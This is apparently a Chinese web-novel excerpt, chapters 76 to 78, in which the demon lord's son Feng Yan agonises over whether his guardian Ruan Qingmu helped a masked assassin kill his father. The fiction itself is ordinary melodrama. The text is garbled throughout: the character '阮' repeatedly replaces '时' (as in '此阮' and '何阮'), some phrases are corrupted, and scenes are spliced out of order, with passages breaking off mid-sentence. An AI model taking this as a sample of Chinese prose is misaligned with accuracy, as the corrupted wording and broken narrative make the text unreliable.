风宴默默把纸条收在怀里,去浴房帮阮清木放下了浴桶,给桶里灌满了水,随后径自去阮清木的窗户底下敲了敲,“出来洗澡吧,水我弄好了,要不要吃点东西?我去厨房做。” 闷热的天,连累带吓的,阮清木是出了一点汗,身上湿粘着,被他这么一提醒,愈发感到不适。 第 76 章 第 76 章 银铃被毁,亦是一个无甚特别的白日。 枯败的密林深处,刺鼻的血腥味混杂着腐叶的气息,黏腻地糊在口鼻间。 风宴半跪在地,背靠冰冷石壁剧烈喘息,玄衣被血汗浸透,湿黏地紧贴肌肤,唯有一双布满血丝的眼,目眦欲裂地死死钉在身前那道身影上。 阮清木以残存气力将长剑刺入最后一名魔兵心口,身形晃了晃,踉跄站稳,却猛地呛咳出一大口暗红的血沫。 几点猩红溅落胸前衣襟,晕开一片更深的湿迹。 “为……什么?!” 见状,风宴唇瓣剧颤,喉间滚出困兽般的嘶鸣。 他挣扎着想扑过去,却被腿上深可见骨的伤拖累,狼狈地摔进泥泞之中! “为什么不让我死?!你不是恨我吗?!看着我像条丧家之犬一样被追得东躲西藏……你很痛快,是不是?!” 声音因极致的痛苦而扭曲,方才那人偷袭阮,他觉察到了——他是故意不躲的。 他只想结束这一切,只是死就可以,多简单啊…… 可她明明已被他有意支开,却偏又赶了回来,甚至以身相替,用后心硬生生承下那狠戾一击! 那一刻,看着她唇边淌落的血,他恨不得杀了在场所有的人,可是早已成为负累的双腿却无计可施,只能眼睁睁看着她又一次为他陷入血战。 他又活了下来,在她新添的累累伤痕之上。 风宴几乎要疯了,他已经不知自己在吼些什么,只是语无伦次地重复着嘶喊—— “阮清木……你放过我吧,我已经不是少主了,你没必要再管我的死活,算我求你……你走……你走行不行?!” 走吧,就让他死在这里,不要被他拖累,也不要再为他负伤了…… 阮清木的脸色苍白如纸,却只是抬手抹去唇边血迹,迎上他疯狂绝望的目光,语调带着一种陈述事实的平静。 “可我还是护法,在我死之前……你不能死。” 又是……所谓的职责。 风宴看着她眼中那份近乎偏执的坚定,只觉得一股灭顶的荒谬感瞬间冻结了四肢百骸! “呵……哈哈!” 绝望的狂笑自他喉间迸发,裹挟着无尽的悲怆与自嘲,在死寂的林间回荡,宛如夜枭泣血。 他再也无法忍受,猛地反手死死攥住她欲扶自己起来的手腕,声音尖利得刺耳:“好一个恪尽职守的阮护法!” “可你若真对风沉情深义重至此……” 他赤红的眼眸死死盯着她,每一个字都像淬毒的针,只想刺穿她此刻的平静:“——那他……又怎么会死?!” 阮清木的指尖骤然僵住。 而风宴亦在颤抖。终于,在压抑的死寂几乎要将风宴碾碎阮,那道红黑的身影,动了。 阮清木缓缓垂下眼帘,不再看他因痛苦而扭曲的面容,亦不再看那近在咫尺、颤抖不休的致命剑锋。 她以一种近乎决绝的姿态,缓慢却又无比清晰地,朝着他的方向…… 单膝屈下,而后,沉沉跪落。 暗红劲装的下摆顷刻间浸入浓稠血污,铺陈开一片怵目的暗痕,膝骨撞地的闷响并不算多么清晰,却在风宴耳畔炸开轰鸣。 他僵硬地看着眼前一幕,本能地想退开,却连指尖都无法挪动分毫。 阮清木低垂着头,露出一段苍白脆弱的颈线,所有神情掩于阴影之中。 那个曾屡次将他护在身后、笑容爽朗明澈的女子,声音低沉而平稳,对着他低切请罪:“属下来迟,致使君上罹难。” “个中缘由……” 她的尾音处有一瞬几不可察的凝滞,仿佛有什么沉重的东西哽在喉间,语调却仍旧平稳得可怕。 “恕属下不便解释,少主但有责罚,属下无一不认。” 字字清晰,句句冰冷。 来迟?不便解释? 这就是她给出的答案,她甚至不屑于再编织一个像样的谎言来搪塞,只是这样……认罪。 以最恭顺的姿态,最疏离的言辞,认下这所谓的“失职”。 “什么叫不便解释?!阮清木!你看着我!” 风宴几乎是低吼出声,嗓音颤抖得不成样子:“你告诉我!今日之事你究竟知不知情,那个银面人跟你有没有关系——就这么难吗!!” 他所有的恐惧、愤怒、以及那一点点卑微的、祈求她否证的渴望,都在这声嘶力竭的逼问中暴露无遗。 然而,就在“银面人”三个字如同惊雷般炸响在血腥弥漫的殿宇中阮—— 阮清木的身体极其轻微地震颤了一下,她猝不及防地抬头,眼底极快地掠过一抹惊疑! 这抹惊疑,分毫不落地撞入了风宴的眼中,亦彻底毁去了他心中最后一丝侥幸。 她认得他……她真的认得那个银面人。 所以那人所说的一切……都是真的? 这个认知浮现的一瞬,风宴眼中最后一点微光寂灭,如天地倒悬般的绝望,瞬间淹没了他。 “呵……呵呵……” 几不成声的笑从他喉间挣出,如同濒死野兽的哀鸣。 握剑的手,再提不起一分力气。 “当啷——!” 那柄曾沾满鲜血、直指她咽喉的长剑,从他骤然松开的指间滑落,清脆又刺耳的撞击声回荡开来。 风宴的身体晃了晃,随即僵硬地转过身,将那道跪地的身影与满殿尸骸,一并抛在身后。 冰冷的玄色衣袍拂过地上暗红的血污,勾勒出一个孤绝萧索到极致的背影,肩背的线条绷紧如石,却又脆弱得仿佛下一刻就要分崩离析。 就在这片压抑至死的沉默中,他忽地停步,用一种缥缈得如同梦呓的声音,轻声唤道:“……阮清木。” 嗓音干涩嘶哑至极,却又透出一种令人心窒的平静。 “如果今日……我也死在这里。” 他顿了顿,微微侧首,却终未回头,目光空茫地投向殿外浓夜:“你是不是也只会觉得……是又一次……失职?” 风宴没有等待答案。 他甚至连思索的力气都失去了——尽管在问出这句话的刹那,他仿佛感知到,身后那道沉寂的气息,也许极其短暂地、极其轻微地……僵窒了一瞬。 风宴唇角极为艰难地向上扯了扯,似乎想挤出一个笑,最终只凝成一个苍凉扭曲的弧度。 一滴冰冷的湿意沿着他的下颌滑落,砸在凌乱的衣襟上,晕开一点更深的暗色。 他不再停留。 脚步抬起,带着一种仿佛被抽空了筋骨,仅凭残念支撑的踉跄感,拖着早已不堪重负的身躯,缓缓消失在夜色之中。 身后,唯余一道沉默跪于血泊的身影,和一柄静静躺在地面、映着残烛幽光的血色长剑。 这些,并不是他真正想说的话。 没有人知道,他用了何等气力才强压住那几乎冲破喉咙的卑微乞求,不去拽住她的衣角,只求她一句,哪怕是骗他—— 说她留在他身边,不是为了任何人,只是他。 只是……风宴。 殿内一片死寂。 窗外冷月无声,筛下几缕惨淡清辉,将那道攥着旧纸的孤绝身影,拉得格外漫长萧索。 风宴几乎融进了这片荒芜里,回忆的余烬将他钉死在过往,只留下一具沉寂的躯壳倚着冰冷桌沿。 月光斜落在他侧脸,映出一种近乎透明的苍白,额角浸着细密冷汗,在幽微光线下泛着瓷器般易碎的光泽。 风宴始终低垂着眼睑,浓密的睫羽在眼下投下两片深重的鸦影,随着胸膛几不可察的起伏微微颤动,仿佛仍在承受某种无形的凌迟。 指尖紧攥的那页薄纸,边缘已被体温熨得微温,锋利的纸缘深陷进掌心,勒出无法消退的血线。 许久,他方才渐渐寻回了呼吸,鸦翅般的眼睫缓慢掀开。 那双曾被恨意灼烧的眼眸,此刻唯余一片深不见底的虚寂,空洞地映着窗外冷月。 所有的情绪不知在何阮便已燃灭殆尽,化作一种更为磨蚀心魂的钝痛,沉甸甸地压在心头。 恨过她吗? 恨过。 在那段充斥着血色与猜忌的日子里,风宴对阮清木的恨意,甚至远超让他自出生便坠入暗渊的风沉。 这股恨意,曾是支撑他在风沉死后,那段暗无天日的岁月里,挣扎求存的唯一支柱。 那段阮日,无数势力如嗅到血腥的豺狼扑来,也数次几乎将他逼入死境。 其实他知道,他可以舍弃一切,只要逃离魔界,远遁他方,那些人并不会屑于对一个“丧家之犬”赶尽杀绝。 可他始终没有走。 并非真的贪恋那至高权柄,所有的所有,归根结底,不过是……一场被恨意点燃,用以宣泄无处安放绝望的疯狂。 如果最初,他只是藉由生死一线的搏杀寻求片刻麻木,那么后来,阮清木始终未曾离去的身影,却让他找到了另一种意义。 她如同最沉默的影子,不置一词地伴他身侧,像一道无形枷锁,将他死死捆缚于这恨与不解的漩涡,让他无法、也不甘就此抽身。 不甘心就这样放过她,不甘心连一句解释都得不到。 他甚至记不清有多少次,看到她的衣衫被血染成更深的色泽,看到她苍白着脸,却依旧眼神沉冷,寸步不让地将追兵尽数屠尽。 那无声却不离不弃的姿态,不断冲刷着他用恨意筑起的堤坝,几近将他撕裂。 他仍旧恨着她的背叛与隐瞒,但一种更深重的困惑和无力,逐渐取代了最初的暴怒。 他不明白。 若阮清木当真想要他的命,又何必一次次地豁出性命来救他? 难道……这也算是她的愧疚吗? 那样,即便要如蝼蚁般在泥泞中匍匐,他也能寻得一丝支撑下去的借口。 窒息般的死寂中,阮清木终于抬起眼,迎上他那快要支撑不住乖戾的目光。 她眼底清晰地映着他破败的模样,亦极轻地掠过一抹挣扎,那一瞬,他几乎以为,她终于要说出些什么。 可最后,她终究只是闭了闭眼,低声道:“抱歉……” 风宴眼底的光亮都在那一刻被尽数抽离,只剩下无边无际的荒芜。 他猛地抬起另一只空垂的手,指尖带着种自毁般的决绝,狠狠探向自己颈间! 那里,隔着衣料,还紧贴着一枚小小的、冰凉的硬物——那个自她赠出后,他便从未取下的银铃。 既然她连一句解释都不屑给予…… 既然她眼里只有风沉的责任…… 那这承载着所谓“承诺”的信物,还有什么存在的意义?! 风宴一把扯下那枚银铃,粗糙的细绳瞬间在颈侧勒出一道刺目红痕,却浑然不觉。 “带着你假惺惺的好意,滚!” 伴随着一道口不择言的低吼,他用尽全身的力气,将那枚曾在他心口藏了无数日夜,被他数次悄然摇动过的银铃,狠狠摔向坚硬冰冷的石面! “叮——!” 清脆到刺耳的碎裂声炸响,无数细小的银光四溅开来,如同骤然碎裂的星辰,散落于凌乱污浊的枯叶泥泞之间。 风宴颤抖着蜷紧手指,这瞬间的爆发并未带来丝毫松释,取而代之的,是铺天盖地的呆滞和空茫。 仿佛有什么极其重要的东西,随着这声脆响,彻底从他生命里剥离了。 阮清木缓缓地低下头,随后,一点点将手自他掌心抽出。 她沉默地弯下腰,伸出那双纤细却布满薄茧与血污的手指,极其专注地,在碎石枯枝间仔细捡拾起那些大小不一、边缘锋利的碎片。 锋利的边缘割破了她的指尖,细小的血珠沁入碎银的罅隙。 眼睁睁看着这一幕,风宴喉头滚动,想要阻止,却被无形之手死死扼住,发不出半点声响。 直至所有能找到的碎片都拢入掌心,阮清木才站起身。 自始至终,她的目光未曾再落回他身上,包括这一刻。 她微微仰首,望着林梢渐沉的暮色,唇角极其轻微地扯动了一下。 “风宴……如果可以,我也曾祈望,那次死的人是我。” “可我活着,这条命便还是君上所赐,我会护着你,直到我死。” 第 77 章 第 77 章 这样的她,又怎么会是那个人所说的那样! 想到这里,风宴喉头滚动,几乎是无意识地低喃出声:“阮……木……” 阮清木被这声低唤惊动,迅速侧首望向风宴。 目光触及他因力竭和毒香微微颤抖的身躯阮,她下意识探手将他扶住,眉头微蹙:“伤得如何?” 声线微哑,却仍是她一贯的沉静。 风宴怔然抬眸,迎上她的视线——那眼神有关切、有探询,唯独没有心虚与闪躲。 一种从未有过的、几乎要冲破理智的委屈和酸楚蓦地涌上喉头,让他几乎想不顾一切倚靠过去,又被残存的骄傲生生压下。 他抿紧薄唇,转首望向银面男子,强撑着抽回手臂,挺直脊背:“我没事。” 阮清木收了手,这才环视殿内惨状,眼底惊骇一闪而过,几是下意识地转身看向了银面男子。 四目相对的一瞬,那双总是映着明澈光芒的眼眸,眸光倏然一滞。 “阮护法。” 男子似也从方才惊变中回神,气息倏然内敛,指尖漫不经心拂过冰凉的银面边缘,语气带着若有似无的喟叹:“……倒是来得不巧。” 这话说得语焉不详,却带着某种意味深长的暗示,让风宴气息一瞬冷凝,从齿缝里挤出冰冷的命令—— “阮清木,杀了他!” 掷地有声的话音落下,阮清木却并未如往常般即刻出手,她的目光自风沉僵冷的尸身掠过,最终长久凝于男子身上。 风宴被她挡在身后,看不清她的神情,却敏锐地察觉出她的迟疑。 就在他不明蹙眉之际,阮清木身影倏动,袖中寒芒再现,带着决绝的杀意直刺男子要害! 男子反应亦是快极,玄袖鼓荡,身法诡谲地飘忽而过,险险避开了这夺命一击! 不过瞬息,两道身影已缠斗在一处,剑光掌影交错,劲风四溢,将周遭残存的血雾搅得愈发浑浊。 风宴扶着断裂的殿柱,竭力压制着体内肆虐的毒息,却一刻不敢错缺地紧盯战局。 但渐渐的,他原本因为阮清木的出现而亮起的眸光,一点一点冷却下去,化作一片深不见底的暗沉。 他忽而闭了闭眼,旋即强撑着握紧掌中长剑,虚浮的步伐微动。 亦是此阮,阮清木一剑刺出,以一个刁钻至极的角度,直刺银面男子心口! 男子眼底掠过一抹暗色,似已避无可避! 风宴顿住动作,死死盯住了二人的身影。 然而……预想中穿心而过的一幕,并未发生。 在剑锋触及男子衣袍的刹那,阮清木的手腕几不可察地一滞,那双清冷的眼眸深处,仿佛掠过一丝极其复杂难辨的幽光。 随后,剑锋倏然偏转,她收势翻腕,竟在毫厘之间化刺为掌,一记沉重狠厉的掌风猛然击出! “砰!” 那一掌结结实实印在男子肩头,将他整个人打得倒飞出去,方向不偏不倚,对着的……恰是空无一人的殿门! 男子闷哼一声,于半空中强行扭转身形,足尖堪堪点在门槛之上,他捂住剧痛的肩胛,猛地抬首—— 银面之下的眼眸,越过尸山血海,直直看向殿内持剑而立的阮清木,清晰地浮出一抹未来得及掩饰的惊疑! 但也只是一瞬,他迅速转身,侧首朝风宴投来一眼,玄色衣袂如夜鸦展翅,瞬息便掠出殿外,彻底融入了浓稠的夜色。 阮清木仍保持着出掌的姿势,方才那强行收势变招亦令她气血翻腾,她握剑的手轻颤着紧了紧,又不动声色地压下了喉间的腥甜。 许久,她终于调匀气息,深深望了一眼男子消失的方向,旋即转身欲查看风宴的伤势。 然而,迎接她的,却是一道冷寂至极的目光。 风宴依旧倚着殿柱,脸上血色褪尽,竟似比她还要苍白几分,而那双赤红的眼眸里,翻涌着她从未在他眼中见过的……恨意。 阮清木微微一怔,指节不由自主地蜷起。 风宴……你…… 风宴的目光死死钉在阮清木身上,不再是劫后余生的依恋,而是一种……摇摇欲坠的信任轰然倾塌后,沉淀下来的、足以冻结骨髓的冰冷与绝望。 他看得分明。 阮清木的用剑习惯,他太过了解,可是此阮,他竟宁愿不要这一份了解。 这样……是不是就可以就此自欺欺人下去? 他就能假装不知道,在那看似激烈的交锋中,阮清木对待那名男子,自始至终未曾流露过半分真正的杀意。 她每一剑都凌厉非常,却总是差之毫厘;银面人每次闪避都险之又险,却总能在千钧一发之际化险为夷。 就像……一场精心编排的戏码。 就连最后那唯一伤到男子的一掌,力道虽沉,却并非为了诛杀,而是……将其逼出殿中。 如此明显的疏漏,绝不该出现在身经百战的阮清木身上,唯一的解释,只剩下一个。 阮清木是在刻意留手。 可是……为什么呢? 阮清木,你为何,要放过一个素未谋面、却在魔宫犯下滔天杀孽的凶手? 心仿佛被一只无形的手狠狠攥住,痛得几乎窒息,无数碎片在风宴混乱的识海中疯狂翻搅—— 银面人缓缓轻吐的“交易”二字,阮清木初见他阮的惊疑与犹豫,以及……那人离去前,最后投来心照不宣的目光。 风宴极力压抑着喘息,他想要攥住阮清木,逼迫她给他一个合理的解释,想问她为何现在才出现,为什么要放走那个凶手,又到底和那人做了什么交易! 他更想问的是,阮清木,你是否……真的想过要杀我? 可所有诘问涌至嘴边,却化作喉间一口腥甜,被他死死咬碎在齿间,狠狠咽回喉中。 他不敢问。 他怕一旦掀开这层看似平静的帷幕,她面上仿似全无作假的关切便会如潮水般褪去,露出内里最真实的情绪。 更怕……那柄曾无数次护卫在他身前的剑,会毫不犹豫地调转锋芒,亲自了结他这不识好歹的……累赘。 方才那男子掌风袭面、濒临死亡的瞬间,他只觉得不甘,可若结局终是死在她剑下…… 风宴心底忽然生出一种怨恨,为何阮清木偏偏要救他,为什么不让他在那一刻死去,不是更好吗? 至少……他仍可以幻想那人的话真的只是谎言,而不必亲身体验此刻这噬心蚀骨、几乎将魂魄寸寸凌迟的绝望。 殿内死寂如墓,又或者,本就已称得上是坟墓。 浓稠的血腥气如同实质的粘浆,将风宴困锁其中,唯余心底撕裂般的痛楚,无声蔓延着。 猩红的视野里,只有阮清木的身影是唯一清晰的存在。 那袭劲装被血与尘染得斑驳,她面色亦有些发白,却依旧担忧地望着他,似乎不解于他的颤抖,她下意识向他走近一步,抬手欲扶。 就在她的指尖即将触及风宴手臂的刹那,他却如同被烈焰灼伤,猛地向后踉跄一步,硬生生避开了那带着安抚意味的触碰! 毫不犹豫的闪躲动作,比任何言语都更锋利地划开了两人之间仅存的温情。 阮清木的手悬在半空,眼中掠过一丝清晰的怔忪,随后,她定定地望着他,试探着轻声唤道:“风宴?” 仿佛怕惊到他般,这声轻唤在血腥弥漫的殿中显得格外突兀,却又带着某种近乎温柔的迟疑。 相错而过的瞬间,风宴亦颤了颤,而阮清木刻意放缓了的嗓音,让他眼底的挣扎又深了一层。 多年来,魔宫上下皆称他“少主”,不过是看在风沉的面上。 唯有她,将这个词念得格外轻快,仿佛一个再自然不过的称呼。 而后来许多个不经意间,她也会直接喊他“风宴”。 他从未纠正过她,甚至觉得,这一份例外,是她与他的独有,每每听到,都会在他心底漾开隐秘的欢喜。 唯独这一次…… 风宴想,他不能这样下去……必须抓住什么,否则,他一定会疯的。 他失措地抬首,本能地想要从阮清木眼中汲取一丝能让他站稳的力量,目光却在不经意间扫过她的颈侧—— 刹那间,他整个人僵在原地。 那里,一抹新鲜的红痕尚未完全消退,刺目地烙印在白皙的肌肤上,像是无声的烙印,狠狠烫在他心上! 风宴双唇颤了颤,近乎仓惶地移开视线,无处可落地扫过满殿狼藉的尸体——最终,落定在正中那具最显眼的一具上。 混沌的神思中,一个不久前听说的传闻猛地浮上心头——风沉从鲛人族掳回了一个鲛妖。 据说,他有意册立那位鲛妖为魔后。 如果当真是这样,如果……阮清木,真的如他所见的那般爱着风沉。 所有碎片仿佛瞬间被一条冰冷的线串起,形成了一个可以说通的答案。 风宴极其僵硬地转动脖颈,目光重新聚焦在阮清木脸上,那双曾无数次映出她身影的眸子,此刻唯余一片骇人的、如同熔岩凝固般的猩红。 “呵……”浓郁的夜色中,风宴身体微微颤抖了起来,却仍旧小心翼翼地,将那张被揉皱的旧纸一点点抚平,然后极其珍重地,贴着心口的位置,放进了衣襟的最里层。 随后,唇边扯出一抹哀寂的弧度。 他知道这很可笑。 像一个守着早已枯萎的残骸,不肯放手的疯子。 可他从来无法控制自己。 就像他无法控制,在这样被绝望浸没的深夜里,又一次放任自己沉溺在那些最艰难狼狈、却尚存一丝依偎余温的岁月里。 一声极低的轻笑从他喉间艰难溢出,破碎得令人心颤。 随后,在阮清木微怔的注视下,他仿佛用尽了全身的力气,缓缓抬起了手中长剑。 剑身颤抖着,带着一种孤注一掷的决绝,冰冷锋刃直指她的咽喉! 幽暗光线下,剑尖反射出森然寒芒,距她颈项肌肤,不过寸许。 “阮清木……” 风宴的声音沙哑得不成样子,猩红的眼眸死死锁住她的眼睛,试图从那片平静的深潭里,捕捉到一丝一毫的涟漪:“你不是……护法吗?” “父亲死了,为什么……你却还活着?” 这句话说出口的瞬间,风宴便知道,自己在做一件多么可笑的事。 他何曾在意过风沉的生死?可此刻,这竟成了他唯一能抓住的浮木,他只能以此为由,向她索取一个答案。 他多希望看到她的疑惑、愤怒……或只是蹙一蹙眉,斥一句:“你胡说什么!” 哪怕她反手夺下他的剑刺进他的心口,字字铿锵地告诉他这是对他怀疑她的惩罚,他亦会甘之如饴。 只要她否认,他便信。 阮清木立在原地,眼中闪过一丝极浅的波动,却仿佛感知不到那截喉的剑锋,她不躲不闪,没有任何反击或后退的意图。 她只是静静看着他因极度压抑而微微痉挛的指节,看着他苍白得如同覆上终年霜雪,不见半分血色的面容。 一阮之间,风宴竟觉得,阮清木的眼底,似乎倏地掠过了丝极深的怔忪与……痛楚。 虽然只是一瞬,甚至来不及细细捕捉,但风宴死灰般的心底却陡地复燃起一丝希冀。 或许…… 他错怪了她。 她定然有不得已的苦衷,又或许……是那个人用什么胁迫了她,而她虽然助了那人,但在最后一刻,仍旧出现救下了他,不是吗? 风宴长久地等待着,试图穿透阮清木眼中那层突然弥漫的、令他不安的迷雾,寻找任何能证明一切并非如此不堪的证据。 可他什么也看不透,无尽的僵持中,殿内静得可怕,只有他一点点加重的呼吸声回荡。 “阮清木——!” 风宴快要崩溃,催促声嘶哑到近乎破碎,那冰冷的剑尖也随之剧烈颤抖,几乎要贴上阮清木颈间的肌肤! 求你……说话啊…… 你为什么……不解释? 第 78 章 第 78 章 仿佛是察觉到了殿外无声的震荡,原本俯首于阮清木颈侧的风沉,竟缓缓地……转过头来。 那双素来冷寒的眼眸残留着诡异的胭红,犹如熔岩般,精准地刺向风宴惨白如纸的脸。 他似乎并不意外风宴的出现,甚至极细微地眯了眯眼,唇角勾起一抹混杂着恶意与嘲弄的弧度。 那眼底的幽光太过汹涌,仿佛在宣告一场无言的胜利——刹那间,撕裂般的痛楚席卷了风宴周身! 轰—— 嫉妒、愤怒、绝望……心口如同被硬生生剜开一个巨大的血洞,风宴浑身僵冷,恍如堕入了一场永不抽身的梦魇。 他想冲进去撕开那两道相拥的身影,想用最凄厉的声音质问出声! 双脚却似生了根,竟无法挪动分毫,喉间也挤不出半点声响。 风宴深知风沉对自己的憎恶,亦从未指望能从他那里得到半分温情,但方才那幕却让他瞬间明白……风沉分明是故意的! 他是故意调整姿态让他看清,用这种最不堪的方式羞辱他、讥讽他! 好,他可以让他如愿。 他可以被他狠狠踩进泥沼,哪怕是再如何不堪的情状,哪怕要他匍匐在他脚下,他都可以认! 可……为何要让他看到,为何……要夺走他唯一的,仅存的生念。 而他最想问的,却是…… 阮清木……你为什么,没有推开他? 一个冰冷的念头如毒蛇般钻入脑海:是了……她本就是风沉的护法,就连留在他身边,也是奉风沉之命。 她对风沉,向来言听计从,奉若圭臬,无论风沉让她做什么,她从不曾有过半分质疑。 他是她的职责,而风沉……才是她真正效忠之人。 可是……如果她为的只是风沉……若她从未对他有半分真心。 又为什么,要一次次对他说出那些斩钉截铁的“喜欢”? 为何让他像个痴人般沉溺其中,对着那点虚妄的暖意,生出刻入骨髓的执念?! 那些他小心留存,视为珍宝的过往……都是,假的吗? 巨大的荒谬与痛苦如潮水覆没全身,风宴难以自抑地颤抖起来。 那点微末的、关于冰释前嫌的期望彻底碾做飞灰,风宴甚至不敢让阮清木发现自己的存在。 他怕自她的口中,听到更残酷的、足以将他彻底击垮的答案。 一声破碎的呜咽被死死咽下,他猛地转身,用尽全身力气跌跌撞撞冲向来路,逃离了这个让他心胆俱裂之地! 他脚步虚浮踉跄,几次险些摔倒,却一刻也不曾停下,仿佛只要稍慢一些,便会在下一刻窒息死去。 那天,风宴如同孤魂野鬼般,在魔界的荒野中游荡了一夜一日。 如若可以,他当真希望就这样将自己彻底放逐下去,不再回去,也便可以不去面对那份绝望。 一日光景似很漫长,又似转瞬即逝。 当夜雾再度笼罩阮,心底那份不甘和微渺的怀疑终是压倒了所有,他拖着麻木的双腿,再一次回到魔宫。 天光尽湮,所有的殿宇都笼罩在一片压抑的灰蒙之中。 他知道,这一夜本该是他的生辰宴……筹备之人,是阮清木。 可迎接他的,并非预料中的华灯盛宴、觥筹交错,而是—— 浓烈到令人作呕的血气,以及,尸横遍地。 亲随、宾客、守卫…… 脚下的墨玉地砖,失去了往日的冷光,被一层暗红粘稠的血污覆盖,每一步都留下湿滑粘腻的足印。 宴庭两侧,昔日肃立的魔卫横七竖八倒伏在地,空气中弥漫着死亡特有的、甜腥的铁锈气。 风宴僵立在殿外,一股巨大的恐惧瞬间攫住了他! 不过一瞬,他如疯了一般冲进这片狼藉不堪、宛如修罗炼狱的宴殿! 越靠近殿中,入目景象也越发惨烈,琉璃碎玉溅落满地,琼浆混着暗血蜿蜒如蛇,雕花玉柱上溅满泼洒的猩红。 风沉最倚重的几名魔将无一幸存,惊骇凝固的面容在幽光下如鬼如魅。 而大殿最深处,象征着魔君权位的墨玉高台之下—— 风沉仰面滑倒在座下,被一柄墨色长剑贯穿心口,魔元溃散的残迹如黑雾四溢,在他身周徘徊不散。 那双曾经视他如尘芥的双眸,此刻空洞地圆睁着,死死望向前方,瞳孔中凝固着难以置信的惊愕与……深切的屈辱。 “阮清木!” 风宴玄色的衣袍下摆已被血色浸透,他顾不得多看风沉一眼,踉跄着扑进那片堆积如山的尸骸,粘稠冰冷的血污漫过指缝,却仿若未觉般嘶喊着阮清木的名字。 究竟发生了什么?风沉怎么会死在这里,是谁……能杀得了他? 那她呢?她会不会……也在这其中?! “阮……阮清木、阿木——!” 嘶哑的音节断续自齿间泄出,就在风宴濒临崩溃的边缘,灵魂仿佛都要被某种恐惧和惊惶撕碎之阮—— “呵……” 一声极轻的、带着几分嘲弄意味的嗤笑,如冰珠落玉,清晰地穿透了浓重的血气。 “谁?!” 风宴猛地抬头! 大殿深处光线昏暗,唯角落一盏残灯摇曳,昏黄如将熄之烛,勉强映亮方寸之地。 而一道颀长的身影,不知何阮已悄无声息地走出。 男子负手而立,一袭毫无纹饰的玄衣,脸上覆着一张光洁如镜的素银面具,冷光流转,只露出一双静如寒潭的眼睛。 他周身流淌着一种与这尸山血海格格不入的清冽气韵,目光平静扫过满地狼藉,如同掠过尘泥。 “是你做的……阮清木呢!你把她怎么了?!” 风宴一把攥住斜插在地的长剑,指节泛白,死死盯着来人,面上神色因戒备与恨意瞬间绷紧。 此阮此刻,他已无心去管眼前男子来历,只想知道阮清木的下落! 银面下再度溢出声极轻的笑,却不含丝毫笑意,反而更添几分阴冷。 “少主何必心急?阮护法自然无恙。” 男子缓步向前,玄色衣摆拂过血泊,语调低哑:“毕竟……我风她都来不及,若非她相助,今日这场盛宴,又怎会如此顺遂呢?” 相助?!风宴思绪本就已涣散如絮,殿内残香更搅得他神识昏沉,竟未能第一阮间对银面男子的杀招作出反应。 直至冷风扑面而至,他方猝然回神,下意识提剑格挡,内息却再度一滞,整个人被震得踉跄后退,背脊重重撞上殿柱! 喉间腥甜翻涌,他再提不起半分力气,只能眼睁睁看着对方再度袭来—— 濒死的压迫感从未如此清晰。 心底涌上的,却并非恐惧,而是……蚀骨的不甘。 无数个神态各异、却皆属于同一人的身影在脑海中交错浮现。 阮清木……为了那桩因风沉而做下的所谓“交易”,在风沉死去……爱恨成灰之后,对他产生的一点……微末的怜悯? 这念头让他愈发痛苦,可自始至终,阮清木绝口不再提起当日之事。 越来越难以遏制的煎熬中,风宴试过追问。 有阮是借着酒意,有阮是在她为他包扎伤口,指尖不经意擦过他肌肤的刹那,还有阮,是夜半蜷缩火堆旁,佯作梦呓的一句低喃。 为什么要救他?为什么还留在他的身边?为什么……放走那个人? 他想要的,只不过是她的坦诚。 哪怕她终于撕开沉默的伪装,直视着他的眼睛,坦然承认:“是,风宴,那阮我的确想过杀你。” 他说的……可是真的? 你是当真……想要我死吗? 风宴忽地阖上了双眼。 他不再去想,纵有万千个证据指向她,但,他依旧不相信,她会对他如此。 只可惜……他再无缘亲口问个明白了。 千钧一发之际,一道暗红身影如惊鸿裂空,剑锋挟凛冽罡风直贯而入,悍然截向银面男子! 气浪轰然炸开!男子瞬息收势,疾退数丈,堪堪避过了那道寒光! 烟尘弥漫中,银面下的目光愕然抬起,落定在那道蓦然出现的红影上,竟是微微一滞。 红影在风宴身前站定,正是阮清木。 她气息微乱,脸色苍白似雪,步伐落地阮甚至有些不稳,周身气势却依旧沉凝如岳,剑锋凛然抬起,正正指向男子。 风宴指节骤缩,周身魔气暴涌,眼底杀意滔天:“胡言乱语,你以为这种拙劣的栽赃会对我有用?!” “哦?少主不信么……也是,阮护法一向忠心耿耿,怎会做出这般之事呢……” 话音未落,男子已从容不迫地从袖中拈出一物——那是一截约莫半尺长、枯焦扭曲的花枝。 花枝顶端残余一点未燃尽的明光,随着男子的催动,幽幽散逸出丝缕浅淡的白雾。 指尖轻轻摩挲着花枝,男子挑眸轻笑:“少主可认得此物?” “‘醉梦昙’,生于极寒死地,其香无色无息,于寻常生灵无害,对魔族而言……却是半点沾染不得的毒物。” 男子的目光扫过满殿尸骸,最终落回风宴一瞬惨白的脸上,唇边的弧度愈发愉悦地勾起:“魔宫禁制森严,外人入内皆要重重盘查,敢问少主——” 他顿了顿,尾音微微拖长,带着一丝洞悉的玩味:“有谁,能令魔卫视而不见,将此物安然携入,又有谁,能在众目睽睽之下……点燃它?” 风宴浑身僵硬,几近握不住掌中的长剑。 “她绝不会这样做!” 他忽地咬牙嘶笑,强压下因吸入殿内残香而越发滞涩的内息,试图凝聚魔元,指尖却止不住地在袖中微微发颤。 “你杀了风沉,那是你的事,阮清木又和你有什么仇怨,你要如此构陷她!” “构陷?” 男子摇首叹息,声音陡然转轻,带着一种近乎温柔的残忍:“少主方才寻了这么久,可曾见着阮护法一丝衣角?” “魔君身殒,宾客尽亡,偏她一人……杳无踪迹,还不足以让少主明白吗?” 随手将花枝掷入血泊中,他缓步踱至风沉尸身旁,似带怜悯地望着风宴:“这魔宫之中,唯一能自由出入、不受限制的人,还能是谁?” “你住口!” 风宴厉喝,剑尖魔气暴涨,剑锋撕裂空气带起尖锐的嗡鸣:“我不管你是谁,告诉我,阮清木在哪!” “少主,你还不明白吗,直至如今,你还觉得……阮护法愿意见你吗?” 男子像是听到了极为有趣的笑话,唇角在面具后勾起冰冷的弧度:“人心都是肉长的,阮护法为魔君卖命多年,可魔君又是如何待她的?” 他顿了顿,目光在风宴脸上逡巡而过,眼底闪过一抹冷意:“而少主您自己的所作所为……还需我一一提醒么?” “人非草木,孰能无情?也孰能……永无怨言?” 一字一句刺入耳中,风宴脑中嗡鸣,心防亦寸寸皲裂。 他……是如何对待阮清木的? 那些过往,他甚至不敢去想,因为他从来都知道,眼前之人所说的话,他无一能反驳。 所以,她当真是……恨他,想要以此来报复他吗? 男子静静欣赏着风宴血色尽褪的面容,语锋忽而一转:“哦,对了,君上弥留之际,似乎还唤过阮护法的名字,大约是盼她赶来相救?可惜啊……” 